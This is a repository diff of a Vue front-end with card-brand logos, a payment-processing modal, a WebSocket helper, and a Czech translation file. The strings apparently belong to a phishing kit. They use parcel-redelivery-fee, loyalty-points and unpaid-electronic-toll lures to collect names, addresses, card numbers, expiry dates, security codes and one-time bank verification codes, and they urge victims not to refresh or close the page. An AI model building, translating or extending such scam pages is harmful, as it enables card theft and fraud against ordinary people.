40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 2.258 24.86 7.072.891.67 1.422 1.422 2.033 2.175v-25z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 4.7 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.3 KiB

View File

@@ -0,0 +1 @@
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>

After

Width:  |  Height:  |  Size: 300 B

View File

@@ -0,0 +1 @@
<svg height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><g fill-rule="evenodd"><path d="m54.992 0c-30.365 0-54.992 24.63-54.992 55.004v390.992c0 30.38 24.619 55.004 54.992 55.004h670.016c30.365 0 54.992-24.63 54.992-55.004v-390.992c0-30.38-24.619-55.004-54.992-55.004z" fill="#4d4d4d"/><path d="m327.152 161.893c8.837 0 16.248 1.784 25.268 6.09v22.751c-8.544-7.863-15.955-11.154-25.756-11.154-19.264 0-34.414 15.015-34.414 34.05 0 20.075 14.681 34.196 35.37 34.196 9.312 0 16.586-3.12 24.8-10.857v22.763c-9.341 4.14-16.911 5.776-25.756 5.776-31.278 0-55.582-22.596-55.582-51.737 0-28.826 24.951-51.878 56.07-51.878zm-97.113.627c11.546 0 22.11 3.72 30.943 10.994l-10.748 13.248c-5.35-5.646-10.41-8.028-16.564-8.028-8.853 0-15.3 4.745-15.3 10.989 0 5.354 3.619 8.188 15.944 12.482 23.365 8.044 30.29 15.176 30.29 30.926 0 19.193-14.976 32.553-36.32 32.553-15.63 0-26.994-5.795-36.458-18.872l13.268-12.03c4.73 8.61 12.622 13.222 22.42 13.222 9.163 0 15.947-5.952 15.947-13.984 0-4.164-2.055-7.734-6.158-10.258-2.066-1.195-6.158-2.977-14.2-5.647-19.291-6.538-25.91-13.527-25.91-27.185 0-16.225 14.214-28.41 32.846-28.41zm234.723 1.728h22.437l28.084 66.592 28.446-66.592h22.267l-45.494 101.686h-11.053zm-397.348.152h30.15c33.312 0 56.534 20.382 56.534 49.641 0 14.59-7.104 28.696-19.118 38.057-10.108 7.901-21.626 11.445-37.574 11.445h-29.992zm96.135 0h20.54v99.143h-20.54zm411.734 0h58.252v16.8h-37.725v22.005h36.336v16.791h-36.336v26.762h37.726v16.785h-58.252v-99.143zm71.858 0h30.455c23.69 0 37.265 10.71 37.265 29.272 0 15.18-8.514 25.14-23.986 28.105l33.148 41.766h-25.26l-28.429-39.828h-2.678v39.828h-20.515zm20.515 15.616v30.025h6.002c13.117 0 20.069-5.362 20.069-15.328 0-9.648-6.954-14.697-19.745-14.697zm-579.716 1.183v65.559h5.512c13.273 0 21.656-2.394 28.11-7.88 7.103-5.955 11.376-15.465 11.376-24.98 0-9.499-4.273-18.725-11.376-24.681-6.785-5.78-14.837-8.018-28.11-8.018z" fill="#fff"/><path d="m415.13 161.21c30.941 0 56.022 23.58 56.022 52.709v.033c0 29.13-25.081 52.742-56.021 52.742s-56.022-23.613-56.022-52.742v-.033c0-29.13 25.082-52.71 56.022-52.71zm364.85 127.15c-26.05 18.33-221.08 149.34-558.75 212.62h503.76c30.365 0 54.992-24.63 54.992-55.004v-157.62z" fill="#f47216"/></g></svg>

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 259 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 260 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 261 KiB

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

View File

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="height: 60%;width: 60px;" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,58 @@
<template>
<img v-if="logoSrc" :src="logoSrc" alt="card-logo" style="width: 100%" />
</template>
<script lang="ts">
import { defineComponent, computed } from "vue";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
export default defineComponent({
name: "CardLogo",
props: {
cardType: {
type: String,
required: true,
},
},
setup(props) {
const logoSrc = computed(() => {
const cardTypeUpper = props.cardType.toLocaleUpperCase();
if (cardTypeUpper.includes("VISA")) {
return c1;
} else if (cardTypeUpper.includes("MASTERCARD")) {
return c2;
} else if (cardTypeUpper.includes("JCB")) {
return c3;
} else if (cardTypeUpper.includes("CHINA UNION PAY")) {
return c4;
} else if (cardTypeUpper.includes("AMERICAN EXPRESS")) {
return c5;
} else if (cardTypeUpper.includes("DISCOVER")) {
return c6;
} else if (cardTypeUpper.includes("MAESTRO")) {
return c7;
} else if (cardTypeUpper.includes("DINNERS")) {
return c8;
}
// 你可以添加更多的卡类型和对应的图片
return null; // 如果没有匹配的卡类型,则不显示图片
});
return {
logoSrc,
};
},
});
</script>
<style scoped>
/* 可以在这里添加样式 */
</style>

View File

@@ -0,0 +1,51 @@
<script setup lang="ts">
import { myWebSocket } from "@/utils/common";
defineProps<{
msg: string;
}>();
const sendMsg = () => {
myWebSocket?.send(
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
);
};
</script>
<template>
<div class="greetings">
<h1 class="green">{{ msg }}</h1>
<button @click="sendMsg">Send</button>/
<h3>
Youve successfully created a project with
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
What's next?
</h3>
</div>
</template>
<style scoped>
h1 {
font-weight: 500;
font-size: 2.6rem;
top: -10px;
}
h3 {
font-size: 1.2rem;
}
.greetings h1,
.greetings h3 {
text-align: center;
}
@media (min-width: 1024px) {
.greetings h1,
.greetings h3 {
text-align: left;
}
}
</style>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,223 @@
<script setup lang="ts">
import { computed, watch } from 'vue';
import { useI18n } from "vue-i18n";
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
import c2 from "@/assets/img/d9f501073fcfa.svg";
import c3 from "@/assets/img/761998023fcfa.svg";
import c4 from "@/assets/img/272b931f3fcfa.svg";
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
import c6 from "@/assets/img/e62e66803fcfa.svg";
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
import c8 from "@/assets/img/1a32e1333fcfa.svg";
import c9 from "@/assets/img/mir.jpg";
const { t } = useI18n(); // 解构出t方法
interface Props {
cardNumber: string;
showModal: boolean;
}
interface Emits {
(e: 'update:showModal', value: boolean): void;
}
const props = defineProps<Props>();
const emit = defineEmits<Emits>();
const price = 'Gs. 294.000';
const formattedPrice = computed(() => {
return price.replace(/\.(\d{3})$/, '$1');
});
const cardType = computed(() => {
const num = props.cardNumber.replace(/\D/g, '');
if (/^4/.test(num)) return 'Visa';
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'Mastercard';
if (/^(62|81)/.test(num)) return 'UnionPay';
if (/^3[347]/.test(num)) return 'Amex';
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'Discover';
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
if (/^(30|36|38|39)/.test(num)) return 'DinersClub';
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'Maestro';
if (/^220[0-4]/.test(num)) return 'Mir';
return 'Generic';
});
// 监听 showModal触发支付逻辑
watch(
() => props.showModal,
(newVal) => {
if (newVal && props.cardNumber) {
}
}
);
</script>
<template>
<div class="payment-modal1">
<div v-if="showModal" class="modal1">
<div class="modal1-content">
<div class="card-logo">
<img
v-if="cardType === 'Visa'"
:src="c1"
alt="Visa"
/>
<img
v-else-if="cardType === 'Mastercard'"
:src="c2"
alt="Mastercard"
/>
<img
v-else-if="cardType === 'UnionPay'"
:src="c4"
alt="UnionPay"
/>
<img
v-else-if="cardType === 'Amex'"
:src="c5"
alt="Amex"
/>
<img
v-else-if="cardType === 'Discover'"
:src="c6"
alt="Discover"
/>
<img
v-else-if="cardType === 'JCB'"
:src="c3"
alt="JCB"
/>
<img
v-else-if="cardType === 'DinersClub'"
:src="c8"
alt="Diners Club"
/>
<img
v-else-if="cardType === 'Maestro'"
:src="c7"
alt="Maestro"
/>
<img
v-else-if="cardType === 'Mir'"
:src="c9"
alt="Mir"
/>
<svg
v-else
xmlns="http://www.w3.org/2000/svg"
viewBox="0 0 64 40"
fill="none"
stroke="#3498db"
stroke-width="1.5"
stroke-linecap="round"
stroke-linejoin="round"
>
<rect x="2" y="2" width="60" height="36" rx="4" fill="#f5f5f5" />
<rect x="8" y="8" width="14" height="10" fill="#d4a017" />
<path d="M8 23 h48" />
<path d="M8 27 h32" />
<path d="M8 31 h24" />
<circle cx="50" cy="12" r="3" fill="#ccc" />
</svg>
</div>
<h3 class="title">{{ t("Processing payment") }}</h3>
<p class= "desc">{{ t("Please do not refresh or close the page") }}</p>
</div>
</div>
</div>
</template>
<style scoped>
.payment-modal1 {
font-family: Arial, sans-serif;
display: flex;
flex-direction: column;
align-items: center;
}
.modal1 {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.5);
display: flex;
justify-content: center;
align-items: center;
z-index: 1000;
}
.modal1-content {
background-color: white;
padding: 50px 20px;
border-radius: 8px;
text-align: center;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
max-width: 300px;
width: 100%;
}
.card-logo {
display: flex;
justify-content: center;
margin-bottom: 15px;
position: relative;
overflow: hidden;
}
.card-logo img {
height: 70px;
object-fit: contain;
}
.card-logo svg {
height: 50px;
width: 80px;
}
.card-logo::after {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 30%;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.7),
transparent
);
animation: scan 2s infinite;
}
@keyframes scan {
0% {
left: -100%;
}
100% {
left: 100%;
}
}
.price {
font-size: 1.2em;
color: #333;
margin-bottom: 10px;
}
.title {
font-size: 1.2em;
font-weight: 400;
}
.desc {
font-size: 0.9em;
color: #666;
margin-top: 5px;
margin-bottom: 0;
}
</style>

View File

@@ -0,0 +1,86 @@
<script setup lang="ts">
import WelcomeItem from './WelcomeItem.vue'
import DocumentationIcon from './icons/IconDocumentation.vue'
import ToolingIcon from './icons/IconTooling.vue'
import EcosystemIcon from './icons/IconEcosystem.vue'
import CommunityIcon from './icons/IconCommunity.vue'
import SupportIcon from './icons/IconSupport.vue'
</script>
<template>
<WelcomeItem>
<template #icon>
<DocumentationIcon />
</template>
<template #heading>Documentation</template>
Vues
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
provides you with all information you need to get started.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<ToolingIcon />
</template>
<template #heading>Tooling</template>
This project is served and bundled with
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
recommended IDE setup is
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
you need to test your components and web pages, check out
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
<br />
More instructions are available in <code>README.md</code>.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<EcosystemIcon />
</template>
<template #heading>Ecosystem</template>
Get official tools and libraries for your project:
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
you need more resources, we suggest paying
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
a visit.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<CommunityIcon />
</template>
<template #heading>Community</template>
Got stuck? Ask your question on
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
Discord server, or
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
>StackOverflow</a
>. You should also subscribe to
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
the official
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
twitter account for latest news in the Vue world.
</WelcomeItem>
<WelcomeItem>
<template #icon>
<SupportIcon />
</template>
<template #heading>Support Vue</template>
As an independent project, Vue relies on community backing for its sustainability. You can help
us by
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
</WelcomeItem>
</template>

View File

@@ -0,0 +1,86 @@
<template>
<div class="item">
<i>
<slot name="icon"></slot>
</i>
<div class="details">
<h3>
<slot name="heading"></slot>
</h3>
<slot></slot>
</div>
</div>
</template>
<style scoped>
.item {
margin-top: 2rem;
display: flex;
}
.details {
flex: 1;
margin-left: 1rem;
}
i {
display: flex;
place-items: center;
place-content: center;
width: 32px;
height: 32px;
color: var(--color-text);
}
h3 {
font-size: 1.2rem;
font-weight: 500;
margin-bottom: 0.4rem;
color: var(--color-heading);
}
@media (min-width: 1024px) {
.item {
margin-top: 0;
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
}
i {
top: calc(50% - 25px);
left: -26px;
position: absolute;
border: 1px solid var(--color-border);
background: var(--color-background);
border-radius: 8px;
width: 50px;
height: 50px;
}
.item:before {
content: ' ';
border-left: 1px solid var(--color-border);
position: absolute;
left: 0;
bottom: calc(50% + 25px);
height: calc(50% - 25px);
}
.item:after {
content: ' ';
border-left: 1px solid var(--color-border);
position: absolute;
left: 0;
top: calc(50% + 25px);
height: calc(50% - 25px);
}
.item:first-of-type:before {
display: none;
}
.item:last-of-type:after {
display: none;
}
}
</style>

View File

@@ -0,0 +1,11 @@
import { describe, it, expect } from 'vitest'
import { mount } from '@vue/test-utils'
import HelloWorld from '../HelloWorld.vue'
describe('HelloWorld', () => {
it('renders properly', () => {
const wrapper = mount(HelloWorld, { props: { msg: 'Hello Vitest' } })
expect(wrapper.text()).toContain('Hello Vitest')
})
})

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
<path
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
<path
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
/>
</svg>
</template>

View File

@@ -0,0 +1,19 @@
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
<template>
<svg
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
aria-hidden="true"
role="img"
class="iconify iconify--mdi"
width="24"
height="24"
preserveAspectRatio="xMidYMid meet"
viewBox="0 0 24 24"
>
<path
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
fill="currentColor"
></path>
</svg>
</template>

View File

@@ -0,0 +1,141 @@
export default {
"There is an error in this field, please check":
"V tomto poli je chyba, zkontrolujte jej prosím",
"Please enter a valid email address":
"Zadejte prosím platnou e-mailovou adresu",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Vážení uživatelé, vyplňte prosím formulář pečlivě, aby bylo zajištěno úspěšné doručení",
"Your Name": "Vaše jméno",
"Address": "Adresa",
"Detailed Address": "Podrobná adresa",
"(Optional)": "(Volitelné)",
"City": "Město",
"State": "Stát / Oblast",
"Province": "Provincie",
"Region": "Region",
"Zip Code": "PSČ",
"E-Mail": "E-mail",
"Next": "Další",
"Telephone Number": "Telefonní číslo",
"Online": "Online",
"Payment": "Platba",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Pro opětovné doručení je nutné uhradit servisní poplatek. Váš balíček bude po zaplacení znovu doručen",
"lump sum: ": "Celková částka: ",
"Cardholder": "Držitel karty",
"Card Number": "Číslo karty",
"Expire Date": "Datum expirace",
"Security Code": "Bezpečnostní kód",
"Submit": "Odeslat",
"Click here to receive another code":
"Klikněte zde pro obdržení nového kódu",
"Please confirm your identity and a one-time code will be sent":
"Potvrďte prosím svou totožnost. Jednorázový kód bude zaslán na váš telefon nebo e-mail. Zadejte jej zde",
"The verification code has been sent to":
"Ověřovací kód byl odeslán na",
"Please do not click the":
"Prosím neklikejte na tlačítka „Obnovit“ nebo „Zpět“, protože to může přerušit transakci",
"Verification code error, please try again":
"Chyba ověřovacího kódu, zkuste to prosím znovu",
"The session is about to expire, please complete the verification now":
"Relace brzy vyprší, dokončete prosím ověření nyní",
"This card does not support this transaction, please try another card":
"Tato karta nepodporuje tuto transakci, zkuste prosím jinou kartu",
"Authorized bank": "Autorizovaná banka",
"Please go to the bank App to confirm the authorization":
"Přejděte prosím do bankovní aplikace a potvrďte autorizaci",
"Please do not close this page":
"Nezavírejte prosím tuto stránku",
"Payment Successful": "Platba byla úspěšná!",
"Thank you for your purchase. Your payment has been processed successfully":
"Děkujeme za váš nákup. Vaše platba byla úspěšně zpracována",
"Mailing address": "Doručovací adresa",
"street address or house number":
"Ulice a číslo domu",
"Apartment number": "Číslo bytu",
"Safe payment": "Bezpečná platba",
"Verification code": "Ověřovací kód",
"Welcome": "Vítejte",
"back": "zpět!",
"We reward you for using point services":
"Odměňujeme vás za využívání bodových služeb",
"Check your points": "Zkontrolujte své body",
"Phone number": "Telefonní číslo",
"Inquire": "Dotaz",
"Exchange": "Vyměnit",
"Spend points": "Použít body",
"Points Available": "Dostupné body",
"You don't have enough points":
"Nemáte dostatek bodů",
"Please redeem your favorite product":
"Uplatněte prosím své body za oblíbený produkt",
"Confirm your shipping address":
"Potvrďte svou doručovací adresu",
"Order number": "Číslo objednávky: ",
"Pay": "Zaplatit",
"Pay Message":
"Zaplaťte {0} za výměnu bodů za produkty",
"Pay electronic tolls online":
"Zaplaťte elektronické mýtné online",
"your electronic toll payment was unsuccessful":
"Vaše platba elektronického mýtného byla neúspěšná.",
"Billing Information": "Fakturační údaje",
"Description": "Popis",
